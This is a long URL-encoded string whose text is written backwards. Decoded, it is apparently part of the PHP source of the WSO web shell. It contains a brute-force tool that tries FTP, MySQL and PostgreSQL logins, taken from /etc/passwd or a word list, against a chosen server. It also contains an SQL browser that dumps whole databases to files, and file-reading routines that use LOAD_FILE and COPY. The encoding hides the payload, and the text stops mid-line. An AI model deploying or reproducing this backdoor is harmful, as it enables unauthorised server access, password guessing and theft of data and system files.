%24+%26%26+%29bd%24%28tessi%28fi%09%0D%0A%3B%22%3Etpircs%2F%3C%09%09%0D%0A%7D%09%09%09%0D%0A%3Bdekcehc.%5Di%5B%5D%27%5D%5Blbt%27%5Bstnemele.fs.d%21+%3D+dekcehc.%5Di%5B%5D%27%5D%5Blbt%27%5Bstnemele.fs.d%09%09%09%09%09%0D%0A%29i%2B%2B%3Bhtgnel.%5D%27%5D%5Blbt%27%5Bstnemele.fs.d%3Ci%3B0%3Di%28rof%09%09%09%09%0D%0A%7B+%29%28si+noitcnuf%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29%28timbus.fs.d%09%09%09%09%0D%0A%3Bl+%3D+eulav.3p.fs.d+%293p.fs.d+%26%26+l%28fi++++++++++++++++%0D%0A%3Bt+%3D+eulav.2p.fs.d%09%09%09%09%0D%0A%3B%27tceles%27+%3D+eulav.1p.fs.d%09%09%09%09%0D%0A%7B+%29l%2Ct%28ts+noitcnuf%09%09%09%0D%0A%7D++++++++++++%0D%0A%7D++++++++++++++++%0D%0A%3B%27%27%3Deulav.3p.f+%293p.f%28fi++++++++++++++++++++%0D%0A%3B%27%27%3Deulav.2p.f+%292p.f%28fi++++++++++++++++++++%0D%0A%3B%27%27%3Deulav.1p.f+%291p.f%28fi++++++++++++++++++++%0D%0A%3B%7D%7B+%29%28noitcnuf+%3D+timbusno.f+%7B+%29bd_s%3D%21eulav.esab_lqs.f%28fi++++++++++++++++%0D%0A%7B+%29f%28sf+noitcnuf++++++++++++%0D%0A%3B%27%22.%29%5D%27esab_lqs%27%5BTSOP_%24%28sehsalsdda%40.%22%27%3Dbd_s++++++++++++%0D%0A%3Etpircs%3C%09%09%0D%0A%3Eelbat%2F%3C%09%09%0D%0A%3Ert%2F%3C%09%09%09%0D%0A%3Edt%2F%3Cswor+fo+rebmun+eht+tnuoc+%3E%22+.+%29%27dekcehc+%27%3A%27%27%3F%29%5D%27tnuoc_lqs%27%5BTSOP_%24%28ytpme%28+.+%22%27no%27%3Deulav+tnuoc_lqs%3Deman+xobkcehc%3Depyt+tupni%3C%3Edt%3C++++++++++++++++%0D%0A%3Edt%2F%3C%3E%27%3B%29fs.d%28sf%27%3Dkcilcno+%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Edt%3C%09%09%09%09%0D%0A%3Edt%2F%3C%22+ohce%09%0D%0A%3Bpmt%24+ohce%09%09%0D%0Aesle%7D%09%0D%0A%3Bpmt%24+ohce+esle%09%09%0D%0A%7D%09%09%0D%0A%3B%27%3Etceles%2F%3C%27+ohce%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%27%3Enoitpo%2F%3C%27.eulav%24.%27%3E%27.%29%27%27%3A%27detceles%27%3F%5D%27esab_lqs%27%5BTSOP_%24%3D%3Deulav%24%28.%27+%22%27.eulav%24.%27%22%3Deulav+noitpo%3C%27+ohce%09%09%09%09%0D%0A%3B%29meti%24%28hcae+%3D+%29eulav%24+%2Cyek%24%28tsil%09%09%09%09%0D%0A%7B+%29%29%28hctef%3E-bd%24+%3D+meti%24%28elihw%09%09%09%0D%0A%3B%22%3Enoitpo%2F%3C%3E%27%27%3Deulav+noitpo%3C%3Eesab_lqs%3Deman+tceles%3C%22+ohce%09%09%09%0D%0A%3B%29%28sbDtsil%3E-bd%24%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb+%3B%29%27668pc%27%28tesrahCtes%3E-bd%24+%3A%22668pc%22+esac%09%09%09%09%0D%0A%3Bkaerb+%3B%29%27u8iok%27%28tesrahCtes%3E-bd%24+%3A%22U-8IOK%22+esac%09%09%09%09%0D%0A%3Bkaerb+%3B%29%27r8iok%27%28tesrahCtes%3E-bd%24+%3A%22R-8IOK%22+esac%09%09%09%09%0D%0A%3Bkaerb+%3B%29%278ftu%27%28tesrahCtes%3E-bd%24+%3A%228-FTU%22+esac%09%09%09%09%0D%0A%3Bkaerb+%3B%29%271521pc%27%28tesrahCtes%3E-bd%24+%3A%221521-swodniW%22+esac%09%09%09%09%0D%0A%7B+%29%5D%27tesrahc%27%5BTSOP_%24%28hctiws%09%09%09%0D%0A%7B+%29%29%5D%27esab_lqs%27%5BTSOP_%24+%2C%5D%27ssap_lqs%27%5BTSOP_%24+%2C%5D%27nigol_lqs%27%5BTSOP_%24+%2C%5D%27tsoh_lqs%27%5BTSOP_%24%28tcennoc%3E-bd%24%28fi%09%09%0D%0A%7B%29%29%5D%27tsoh_lqs%27%5BTSOP_%24%28tessi%28fi%09%0D%0A%3B%22%3E%27%27%3Deulav+esab_lqs%3Deman+txet%3Depyt+tupni%3C%22+%3D+pmt%24%09%0D%0A%3B%22%3Edt%3C%3Edt%2F%3C%3E%22%5C%22.+%29%29%5D%27ssap_lqs%27%5BTSOP_%24%28srahclaicepslmth%3A%27%27%3F%29%5D%27ssap_lqs%27%5BTSOP_%24%28ytpme%28+.%22%22%5C%3Deulav+ssap_lqs%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%0D%0A%3Edt%2F%3C%3E%22%5C%22.+%29%29%5D%27nigol_lqs%27%5BTSOP_%24%28srahclaicepslmth%3A%27toor%27%3F%29%5D%27nigol_lqs%27%5BTSOP_%24%28ytpme%28+.%22%22%5C%3Deulav+nigol_lqs%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%0D%0A%3Edt%2F%3C%3E%22%5C%22.+%29%29%5D%27tsoh_lqs%27%5BTSOP_%24%28srahclaicepslmth%3A%27tsohlacol%27%3F%29%5D%27tsoh_lqs%27%5BTSOP_%24%28ytpme%28+.%22%22%5C%3Deulav+tsoh_lqs%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%0D%0A%3Edt%2F%3C%3Etceles%2F%3C%3Enoitpo%2F%3ClqSergtsoP%3E%22+ohce%0D%0A%3B%27detceles%27+ohce%29%27lqsgp%27%3D%3D%5D%27epyt%27%5BTSOP_%24%40%28fi%0D%0A%3B%22+%27lqsgp%27%3Deulav+noitpo%3C%3Enoitpo%2F%3ClqSyM%3E%22+ohce%0D%0A%3B%27detceles%27+ohce%29%27lqsym%27%3D%3D%5D%27epyt%27%5BTSOP_%24%40%28fi++++%0D%0A%3B%22+%27lqsym%27%3Deulav+noitpo%3C%3E%27epyt%27%3Deman+tceles%3C%3Edt%3C%0D%0A%3E%27%22.+%29%27%27%3A%5D%27tesrahc%27%5BTSOP_%24%3F%29%5D%27tesrahc%27%5BTSOP_%24%28tessi%28+.%22%27%3Deulav+tesrahc%3Deman+neddih%3Depyt+tupni%3C%3E%27%22.+%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth+.%22%27%3Deulav+c%3Deman+neddih%3Depyt+tupni%3C%3E%27%27%3Deulav+2p%3Deman+neddih%3Depyt+tupni%3C%3E%27yreuq%27%3Deulav+1p%3Deman+neddih%3Depyt+tupni%3C%3ElqS%3Deulav+a%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3Ert%3C%3Ert%2F%3C%3Edt%2F%3C%3Edt%3C%3Edt%2F%3CesabataD%3Edt%3C%3Edt%2F%3CdrowssaP%3Edt%3C%3Edt%2F%3CnigoL%3Edt%3C%3Edt%2F%3CtsoH%3Edt%3C%3Edt%2F%3CepyT%3Edt%3C%0D%0A%3Ert%3C%3E%270%27%3Dgnicapsllec+%272%27%3Dgniddapllec+elbat%3C%3E%27%3B%29siht%28sf%27%3Dtimbusno+%27tsop%27%3Ddohtem+%27fs%27%3Deman+mrof%3C%0D%0A%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Cresworb+lqS%3E1h%3C%0D%0A%22+ohce%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%7D%09%0D%0A%3B%29%27%3Etpircs%2F%3C%291-%28kcab.yrotsih.wodniw%3B%29%22elif+nepo+t%27%5CnaC+%21rorrE%22%28trela%3Etpircs%3C%27%28eid++++++++++++%0D%0Aesle+%7D++++++++%0D%0A%3B%29%5D%272p%27%5BTSOP_%24%28tesnu++++++++++++%0D%0A%3B%29pf%24%28esolcf++++++++++++%0D%0A%3B%29pf%24+%2Cv%24%28pmud%3E-bd%24++++++++++++++++%0D%0A%29v%24+sa+%5D%27lbt%27%5BTSOP_%24%28hcaerof++++++++++++%0D%0A%7B+%29%29%27w%27+%2C%5D%27elif%27%5BTSOP_%24%28nepof%40+%3D+pf%24%28fiesle+%7D++++++++%0D%0A%3Btixe++++++++++++%0D%0A%3B%29v%24%28pmud%3E-bd%24%09%09%09%09%0D%0A%29v%24+sa+%5D%27lbt%27%5BTSOP_%24%28hcaerof++++++++++++%0D%0A%3B%29%22nialp%2Ftxet+%3AepyT-tnetnoC%22%28redaeh++++++++++++%0D%0A%3B%29%22lqs.pmud%3Demanelif+%3Btnemhcatta+%3AnoitisopsiD-tnetnoC%22%28redaeh++++++++++++%0D%0A%3B%296904+%2C%22reldnahzg_bo%22%28trats_bo++++++++++++%0D%0A%7B+%29%29%5D%27elif%27%5BTSOP_%24%28ytpme%28fi++++++++%0D%0A%7D++++++++%0D%0A%3Bkaerb+%3B%29%27668pc%27%28tesrahCtes%3E-bd%24+%3A%22668pc%22+esac++++++++++++%0D%0A%3Bkaerb+%3B%29%27u8iok%27%28tesrahCtes%3E-bd%24+%3A%22U-8IOK%22+esac++++++++++++%0D%0A%3Bkaerb+%3B%29%27r8iok%27%28tesrahCtes%3E-bd%24+%3A%22R-8IOK%22+esac++++++++++++%0D%0A%3Bkaerb+%3B%29%278ftu%27%28tesrahCtes%3E-bd%24+%3A%228-FTU%22+esac++++++++++++%0D%0A%3Bkaerb+%3B%29%271521pc%27%28tesrahCtes%3E-bd%24+%3A%221521-swodniW%22+esac++++++++++++%0D%0A%7B+%29%5D%27tesrahc%27%5BTSOP_%24%28hctiws++++++++%0D%0A%3B%29%5D%27esab_lqs%27%5BTSOP_%24%28bdtceles%3E-bd%24%09%09%0D%0A%3B%29%5D%27esab_lqs%27%5BTSOP_%24+%2C%5D%27ssap_lqs%27%5BTSOP_%24+%2C%5D%27nigol_lqs%27%5BTSOP_%24+%2C%5D%27tsoh_lqs%27%5BTSOP_%24%28tcennoc%3E-bd%24%09%09%0D%0A%7B+%29%29%27tceles%27%3D%21%5D%271p%27%5BTSOP_%24%40%28+%26%26+%29%27daolnwod%27%3D%3D%5D%272p%27%5BTSOP_%24%40%28%28fi%09%0D%0A%3B%29%5D%27epyt%27%5BTSOP_%24%28ssalCbD+wen+%3D+bd%24%09%0D%0A%3B%7D%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%29lqs%24%28ohce+esle+%3B%29lqs%24+%2Cpf%24%28etirwf+%29pf%24%28fi++++++++++++++++++++++++%0D%0A%3B%22n%5C%22.%27%3B%29%27.%29meti%24+%2C%22+%2C%22%28edolpmi.%27%28+SEULAV+%29%27.%29snmuloc%24+%2C%22+%2C%22%28edolpmi.%27%28+%27.elbat%24.%27+OTNI+TRESNI%27+%3D+lqs%24++++++++++++++++++++++++%0D%0A%7D%09%09%09%09%09%09%0D%0A%3Bk%24+%3D+%5D%5Bsnmuloc%24%09%09%09%09%09%09%09%0D%0A%3B%22%27%22.%29v%24%28sehsalsdda.%22%27%22+%3D+%5Dk%24%5Bmeti%24%09%09%09%09%09%09%09%0D%0A%7B+%29v%24%3E%3Dk%24+sa+meti%24%28hcaerof%09%09%09%09%09%09%0D%0A%3B%29%28yarra+%3D+snmuloc%24%09%09%09%09%09%09%0D%0A%7B+%29%29%28hctef%3E-siht%24+%3D+meti%24%28elihw%09%09%09%09%09%0D%0A%3B%29elbat%24.%27+MORF+%2A+TCELES%27%28yreuq%3E-siht%24%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%22n%5Cn%5C%3B%22%28ohce+esle+%3B%29%22n%5Cn%5C%3B%22+%2Cpf%24%28etirwf+%29pf%24%28fi++++++++++++++++++++++++%0D%0A%29daeh%24%21%28fi++++++++++++++++++++%0D%0A%7D%09%09%09%09%09%0D%0A%3B%2B%2Bi%24++++++++++++++++++++++++%0D%0A%3B%29lqs%24%28ohce+esle+%3B%29lqs%24+%2Cpf%24%28etirwf+%29pf%24%28fi++++++++++++++++++++++++%0D%0A%3B%27%29%27.%29meti%24+%2C%22+%2C%22%28edolpmi.%22%28%2Ct%5Cn%5C%22+%3D.+lqs%24++++++++++++++++++++++++++++%0D%0Aesle+%7D++++++++++++++++++++++++%0D%0A%3Beslaf+%3D+daeh%24++++++++++++++++++++++++++++%0D%0A%3B%27%29%27.%29meti%24+%2C%22+%2C%22%28edolpmi.%22%28t%5Cn%5C+SEULAV+%29%22.%29snmuloc%24+%2C%22+%2C%22%28edolpmi.%27%28+%60%27.elbat%24.%27%60+OTNI+TRESNI%27+%3D.+lqs%24++++++++++++++++++++++++++++%0D%0A%7B+%29daeh%24%28fi++++++++++++++++++++++++%0D%0A%7D%09%09%09%09%09%09%0D%0A%3B%22%60%22.k%24.%22%60%22+%3D+%5D%5Bsnmuloc%24%09%09%09%09%09%09%09%0D%0A%3B%22%27%22.%29v%24%28gnirts_epacse_laer_lqsym%40.%22%27%22+%3D+%5Dk%24%5Bmeti%24++++++++++++++++++++++++++++++++%0D%0Aesle++++++++++++++++++++++++++++%0D%0A%3Bv%24+%3D+%5Dk%24%5Bmeti%24++++++++++++++++++++++++++++++++%0D%0A%29%29v%24%28tni_si%28fiesle++++++++++++++++++++++++++++%0D%0A%3B%22LLUN%22+%3D+%5Dk%24%5Bmeti%24++++++++++++++++++++++++++++++++%0D%0A%29llun+%3D%3D%3D+v%24%28fi++++++++++++++++++++++++++++%0D%0A%7B+%29v%24%3E%3Dk%24+sa+meti%24%28hcaerof%09%09%09%09%09%09%0D%0A%3B%29%28yarra+%3D+snmuloc%24%09%09%09%09%09%09%0D%0A%0D%0A%7D++++++++++++++++++++++++%0D%0A%3B%22n%5Cn%5C%3B%22+%3D+lqs%24++++++++++++++++++++++++++++%0D%0A%3Beurt+%3D+daeh%24++++++++++++++++++++++++++++%0D%0A%7B+%290+%3D%3D+0001+%25+i%24%28fi++++++++++++++++++++++++%0D%0A%3B%27%27+%3D+lqs%24++++++++++++++++++++++++%0D%0A%7B+%29%29%28hctef%3E-siht%24+%3D+meti%24%28elihw%09%09%09%09%09%0D%0A%3Beurt+%3D+daeh%24++++++++++++++++++++%0D%0A%3B0+%3D+i%24++++++++++++++++++++%0D%0A%3B%29%27%60%27.elbat%24.%27%60+MORF+%2A+TCELES%27%28yreuq%3E-siht%24%09%09%09%09%09%0D%0A%3B%29lqs%24%28ohce+esle+%3B%29lqs%24+%2Cpf%24%28etirwf+%29pf%24%28fi++++++++++++++++++++%0D%0A%3B%22n%5C%3B%22.%5D1%5Betaerc%24+%3D+lqs%24%09%09%09%09%09%0D%0A%3B%29ser%24%28yarra_hctef_lqsym+%3D+etaerc%24%09%09%09%09%09%0D%0A%3B%29%27%60%27.elbat%24.%27%60+ELBAT+ETAERC+WOHS%27%28yreuq%3E-siht%24+%3D+ser%24%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29eslaf+%3D+pf%24+%2Celbat%24%28pmud+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%29r%24%2C%22n%5C%22%28edolpmi%3E%3D%27elif%27%28yarra+nruter%09%09%09%09%09%0D%0A%3B%29%272osw+elbat+pord%27%28yreuq%3E-siht%24%09%09%09%09%09%0D%0A%3B%5D%27elif%27%5Bi%24+%3D+%5D%5Br%24%09%09%09%09%09%09%0D%0A%29%29%28hctef%3E-siht%24%3Di%24%28elihw%09%09%09%09%09%0D%0A%3B%29%28yarra%3Dr%24%09%09%09%09%09%0D%0A%3B%29%22%3B2osw+morf+elif+tceles%3B%27%22.%29rts%24%28sehsalsdda.%22%27+MORF+2osw+YPOC%3B%29txet+elif%282osw+ELBAT+ETAERC%22%28yreuq%3E-siht%24%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%29%22elif+sa+%29%27%22.%29rts%24%28sehsalsdda.%22%27%28ELIF_DAOL+TCELES%22%28yreuq%3E-siht%24%28hctef%3E-siht%24+nruter%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29rts%24%28eliFdaol+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3B%29rts%24+%2Cknil%3E-siht%24%28gnidocne_tneilc_tes_gp%40+nruter%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3B%29rts%24.%27+TESRAHC+TES%27%28yreuq%3E-siht%24%09%09%09%09%09%09%0D%0Aesle%09%09%09%09%09%0D%0A%3B%29knil%3E-siht%24+%2Crts%24%28tesrahc_tes_lqsym%40+nruter%09%09%09%09%09%09%0D%0A%29%29%27tesrahc_tes_lqsym%27%28stsixe_noitcnuf%28fi%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29rts%24%28tesrahCtes+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%28rorre_tsal_gp%40+nruter%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%28rorre_lqsym%40+nruter%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29%28rorre+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%22%27golatac_gp%27+%3D%21+amehcs_elbat+DNA+%27amehcs_noitamrofni%27+%3D%21+amehcs_elbat+erehw+selbat.amehcs_noitamrofni+morf+eman_elbat+tceles%22%28yreuq%3E-siht%24+%3D+ser%3E-siht%24+nruter%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%27SELBAT+WOHS%27%28yreuq%3E-siht%24+%3D+ser%3E-siht%24+nruter%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29%28selbaTtsil+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%22%27t%27%3D%21etalpmetsitad+EREHW+esabatad_gp+MORF+emantad+TCELES%22%28yreuq%3E-siht%24+%3D+ser%3E-siht%24+nruter%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%22sesabatad+WOHS%22%28yreuq%3E-siht%24+nruter++++++++++++++++++++++++%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29%28sbDtsil+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3B%29ser%24%28cossa_hctef_gp%40+nruter%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3B%29ser%24%28cossa_hctef_lqsym%40+nruter%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%3Bser%3E-siht%24%3A%290%28gra_teg_cnuf%3F%29%28sgra_mun_cnuf+%3D+ser%24%09%09%09%0D%0A%7B+%29%28hctef+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3B%29rts%24%2Cknil%3E-siht%24%28yreuq_gp%40+%3D+ser%3E-siht%24+nruter%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3B%29rts%24%28yreuq_lqsym%40+%3D+ser%3E-siht%24+nruter%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B+%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29rts%24%28yreuq+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3Beurt+nruter%29%29bd%24%28bd_tceles_lqsym%40%28+fi%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29bd%24%28bdtceles+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3Beurt+nruter+%29+%29%22emanbd%24%3Demanbd+ssap%24%3Ddrowssap+resu%24%3Dresu+%7D%5D1%5Btsoh%24%7B%3Dtrop+%7D%5D0%5Btsoh%24%7B%3Dtsoh%22%28tcennoc_gp%40+%3D+knil%3E-siht%24+%28fi%09%09%09%09%09%0D%0A%3B2345%3D%5D1%5Btsoh%24+%29%5D1%5Btsoh%24%21%28fi%09%09%09%09%09%0D%0A%3B%29tsoh%24+%2C%27%3A%27%28edolpxe+%3D+tsoh%24%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3Beurt+nruter+%29+%29eurt%2Cssap%24%2Cresu%24%2Ctsoh%24%28tcennoc_lqsym%40+%3D+knil%3E-siht%24+%28fi%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B%29emanbd%24+%2Cssap%24+%2Cresu%24+%2Ctsoh%24%28tcennoc+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Bepyt%24+%3D+epyt%3E-siht%24%09%09%09%0D%0A%7B%09%29epyt%24%28ssalCbD+noitcnuf%09%09%0D%0A%3Bser%24+rav%09%09%0D%0A%3Bknil%24+rav%09%09%0D%0A%3Bepyt%24+rav%09%09%0D%0A%7B+ssalCbD+ssalc%09%0D%0A%7B+%29%28lqSnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Erb%3C%3Evid%2F%3C%27+ohce%09%0D%0A%3B%27%3Eelbat%2F%3C%3Emrof%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3E%22%3E%3E%22%3Deulav+timbus%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3C%3Edt%3C%3Ert%3C%3Ert%2F%3C%3Edt%2F%3C%27.%09%09%0D%0A%27%3Eelbat%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3E%22cid.dwssap%27.%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth.%27%22%3Deulav+tcid%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%27.%09%09%0D%0A%27%3Edt%2F%3C%3Enaps%2F%3CyranoitciD%3Enaps%3C%3Edt%3C%3Ert%3C%27.%09%09%0D%0A%27%3Ert%2F%3C%3Edt%2F%3C%3E%22toor%22%3Deulav+nigol%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%27.%09%09%0D%0A%27%3Edt%2F%3C%3Enaps%2F%3CnigoL%3Enaps%3C%3Edt%3C%3Ert%3C%3E%22xp51%3Atfel-gniddap%22%3Delyts+elbat%3C%3Edt%3C%3Edt%2F%3C%3Edt%3C%3Ert%3C%27.%09%09%0D%0A%27%3Ert%2F%3C%3Edt%2F%3C%3Elebal%2F%3CyranoitciD+%3E%222%22%3Deulav+epyt%3Deman+oidar%3Depyt+tupni%3C%3Elebal%3C%3Edt%3C%3Edt%2F%3C%3Edt%3C%3Ert%3C%27.%09%09%0D%0A%27%3Ert%2F%3C%3Edt%2F%3C%3Elebal%2F%3C%29login+%3E-+nigol%28+esrever+%3Edekcehc+1%3Deulav+esrever%3Deman+xobkcehc%3Depyt+tupni%3C%3E%22xp51%3Atfel-gniddap%22%3Delyts+lebal%3C%3Edt%3C%3Edt%2F%3C%3Edt%3C%3Ert%3C%27.%09%09%0D%0A%27%3Ert%2F%3C%3Edt%2F%3C%3Elebal%2F%3Cdwssap%2Fcte%2F+%3Edekcehc+%221%22%3Deulav+epyt%3Deman+oidar%3Depyt+tupni%3C%3Elebal%3C%3Edt%3C%27.%09%09%0D%0A%27%3Edt%2F%3C%3Enaps%2F%3Cepyt+eturB%3Enaps%3C%3Edt%3C%3Ert%3C%27.%09%09%0D%0A%27%3Ert%2F%3C%3Edt%2F%3C%3E%221.0.0.721%22%3Deulav+revres%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%27.%09%09%0D%0A%27%3Edt%2F%3C%3Enaps%2F%3Ctrop%3ArevreS%3Enaps%3C%27.%09%09%0D%0A%27%3E%22%27.%29%5D%27tesrahc%27%5BTSOP_%24%28srahclaicepslmth.%27%22%3Deulav+tesrahc%3Deman+neddih%3Depyt+tupni%3C%27.%09%09%0D%0A%27%3E%22%27.%29%5D%27a%27%5BTSOP_%24%28srahclaicepslmth.%27%22%3Deulav+a%3Deman+neddih%3Depyt+tupni%3C%27.%09%09%0D%0A%27%3E%22%27.%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth.%27%22%3Deulav+c%3Deman+neddih%3Depyt+tupni%3C%27.%09%09%0D%0A%27%3Edt%3C%3Ert%3C%3Ert%2F%3C%3Edt%2F%3C%3Etceles%2F%3C%3Enoitpo%2F%3ClqSergtsoP%3Elqsgp%3Deulav+noitpo%3C%3Enoitpo%2F%3ClqSyM%3Elqsym%3Deulav+noitpo%3C%3Enoitpo%2F%3CPTF%3Eptf%3Deulav+noitpo%3C%3Eotorp%3Deman+tceles%3C%3Edt%3C%27.%09%09%0D%0A%27%3Edt%2F%3C%3Enaps%2F%3CepyT%3Enaps%3C%3Edt%3C%3Ert%3C%3Etsop%3Ddohtem+mrof%3C%3Eelbat%3C%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3CecrofeturB%3E1h%3C%27+ohce%09%0D%0A%7D%09%0D%0A%3B%22%3Erb%3C%3Evid%2F%3Csseccus%24+%3Enaps%2F%3C%3AsseccuS%3Enaps%3C+stpmetta%24+%3Enaps%2F%3C%3AstpmettA%3Enaps%3C%22+ohce%09%09%0D%0A%7D%09%09%0D%0A%7D%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%27%3Erb%3C%27.%29enil%24%28srahclaicepslmth.%27%3A%3Eb%2F%3C%27.%29%5D%27nigol%27%5BTSOP_%24%28srahclaicepslmth.%27%3Eb%3C%27+ohce%09%09%09%09%09%09%0D%0A%3B%2B%2Bsseccus%24%09%09%09%09%09%09%0D%0A%7B+%29+%29enil%24+%2C%5D%27nigol%27%5BTSOP_%24+%2C%5D1%5Brevres%24%40%2C%5D0%5Brevres%24%28ecroFeturBosw+%28fi%09%09%09%09%09%0D%0A%3Bstpmetta%24%2B%2B%09%09%09%09%09%0D%0A%3B%29enil%24%28mirt+%3D+enil%24%09%09%09%09%09%0D%0A%7B+%29enil%24+sa+pmet%24%28hcaerof%09%09%09%09%0D%0A%29+%29pmet%24%28yarra_si+%28fi%09%09%09%0D%0A%3B%29%5D%27tcid%27%5BTSOP_%24%28elif%40+%3D+pmet%24%09%09%09%0D%0A%7B+%292+%3D%3D+%5D%27epyt%27%5BTSOP_%24%28fiesle+%7D%09%09%0D%0A%7D%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%09%0D%0A%3B%29pmt%24%28srahclaicepslmth.%27%3A%3Eb%2F%3C%27.%29%5D0%5Benil%24%28srahclaicepslmth.%27%3Eb%3C%27+ohce%09%09%09%09%09%09%09%0D%0A%3B%2B%2Bsseccus%24%09%09%09%09%09%09%09%0D%0A%7B+%29+%29pmt%24+%2C%5D0%5Benil%24+%2C%5D1%5Brevres%24%40%2C%5D0%5Brevres%24%40%28ecroFeturBosw+%28fi%09%09%09%09%09%09%0D%0A%3Bstpmetta%24%2B%2B%09%09%09%09%09%09%0D%0A%3B%5Di%24%5B%5D0%5Benil%24+%3D.+pmt%24%09%09%09%09%09%09%09%0D%0A%29i%24--+%3B0%3D%3Ei%24+%3B1-%29%5D0%5Benil%24%28nelrts%3Di%24%28rof%09%09%09%09%09%09%0D%0A%3B%22%22+%3D+pmt%24%09%09%09%09%09%09%0D%0A%7B+%29%5D%27esrever%27%5BTSO